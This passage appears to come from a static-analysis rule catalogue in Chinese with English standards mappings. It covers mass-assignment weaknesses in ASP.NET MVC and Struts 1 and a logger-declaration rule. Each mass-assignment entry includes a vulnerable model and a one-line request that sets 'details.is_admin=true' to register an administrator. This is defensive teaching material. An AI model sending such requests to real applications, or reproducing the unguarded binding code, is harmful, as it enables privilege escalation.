[19] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[20] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[21] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[34] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[35] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 676
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
desc.structural.yaml.kubernetes_misconfiguration_kubelet_anonymous_access
Abstract
一个敏感字段已向模型绑定器公开。
Explanation
现代框架可让开发人员将来自请求查询和正文的 HTTP 请求参数自动绑定至模型对象,以便于开发和提高生产率。如果绑定器未正确配置为控制将哪些 HTTP 请求参数绑定到哪些模型属性,攻击者可能会滥用模型绑定过程并设置不应向用户控件公开的任何其他属性。即使模型属性未出现在 Web 表单或 API 合约中,也可能会发生这种绑定。

例 1:以下 ASP.NET MVC 控制器方法 (Register) 从 Web 表单进行访问,该表单要求用户通过提供其姓名和密码注册帐户。


public ActionResult Register(RegisterModel model)
{
if (ModelState.IsValid)
{
try
{
return RedirectToAction("Index", "Home");
}
catch (MembershipCreateUserException e)
{
ModelState.AddModelError("", "");
}
}
return View(model);
}


其中,RegisterModel 类定义为:


public class RegisterModel
{
[BindRequired]
[Display(Name = "User name")]
public string UserName { get; set; }

[BindRequired]
[DataType(DataType.Password)]
[Display(Name = "Password")]
public string Password { get; set; }

[DataType(DataType.Password)]
[Display(Name = "Confirm password")]
public string ConfirmPassword { get; set; }

public Details Details { get; set; }

public RegisterModel()
{
Details = new Details();
}
}
Details 类定义为:


public class Details
{
public bool IsAdmin { get; set; }
...
}


设想Example 1 中的场景,攻击者可能会浏览应用程序并发现 RegisterModel 模型中存在 Details 属性。如果出现这种情况,攻击者可能会尝试覆盖分配给这些属性的当前值。
如果攻击者可以找到这些内部属性,并且框架绑定器未正确配置为禁止绑定这些属性,则攻击者可能会通过发送以下请求注册管理员帐户:


name=John&password=****&details.is_admin=true
References
[1] OWASP Mass assignment
[2] Standards Mapping - Common Weakness Enumeration CWE ID 915
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001082, CCI-002754
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-2 Application Partitioning (P1), SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-2 Separation of System and User Functionality, SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.2 Input Validation Requirements (L1 L2 L3)
[9] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[10] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[11] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[12] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[13] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[14] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[15] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.2
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Process Validation (WASC-40)
desc.structural.dotnet.mass_assignment_sensitive_field_exposure
Abstract
敏感字段向模型绑定器公开。
Explanation
现代框架允许开发人员自动将请求查询和正文中的 HTTP 请求参数绑定到模型对象,便于推进开发工作及提高工作效率。如果绑定器未正确配置为控制将哪些 HTTP 请求参数绑定到哪些模型属性,攻击者可能滥用模型绑定进程,设置不应暴露给用户控制的任何其他属性。即使 Web 表单或 API 约定中未显示模型属性,也可以建立此类绑定。

示例 1:以下 Struts 1 DynaActionForm 动态定义绑定到用户请求的 ActionForm。在这种情况下,在实际应用中,通过提供帐户类型和用户详细信息来注册帐户:


<struts-config>
<form-beans>
<form-bean name="dynaUserForm"
type="org.apache.struts.action.DynaActionForm" >
<form-property name="type" type="java.lang.String" />
<form-property name="user" type="com.acme.common.User" />
</form-bean>
...



如果注册成功,用户数据将被永久保存到数据库中。User 类定义为:


public class User {
private String name;
private String lastname;
private int age;
private Details details;

// Public Getters and Setters
...
}
Details 类定义为:


public class Details {
private boolean is_admin;
private int id;
private Date login_date;

// Public Getters and Setters
...
}


设想Example 1 中的场景,攻击者可能会浏览应用程序并发现 User 模型中存在 details 属性。如果出现这种情况,攻击者可能会尝试覆盖分配给这些属性的当前值。
如果攻击者可以查找这些内部属性,但是为禁止绑定这些属性,框架绑定器配置不正确,那么攻击者将能够通过发送以下请求来注册管理员帐户:


type=free&user.name=John&user.lastname=Smith&age=22&details.is_admin=true
References
[1] OWASP Mass assignment
[2] Spring Spring MVC Known Vulnerabilities and Issues
[3] Standards Mapping - Common Weakness Enumeration CWE ID 915
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001082, CCI-002754
[5] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-2 Application Partitioning (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-2 Separation of System and User Functionality, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.2 Input Validation Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[11] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[12] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[13] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[14] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[15] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[16] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Process Validation (WASC-40)
desc.config.java.mass_assignment_sensitive_field_exposure
Abstract
声明记录器是固定且最终的。
Explanation
在某个特定类中的所有实例中,共享一个单一的记录器对象,并在程序的执行过程中使用同一个记录器,这是一个很好的编程习惯。

例 1:以下指令错误地声明了一个非固定日志记录器。


private final Logger logger =
Logger.getLogger(MyClass.class);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 398
[2] Standards Mapping - FIPS200 AU
desc.structural.java.poor_logging_practice_logger_is_not_declared_static_final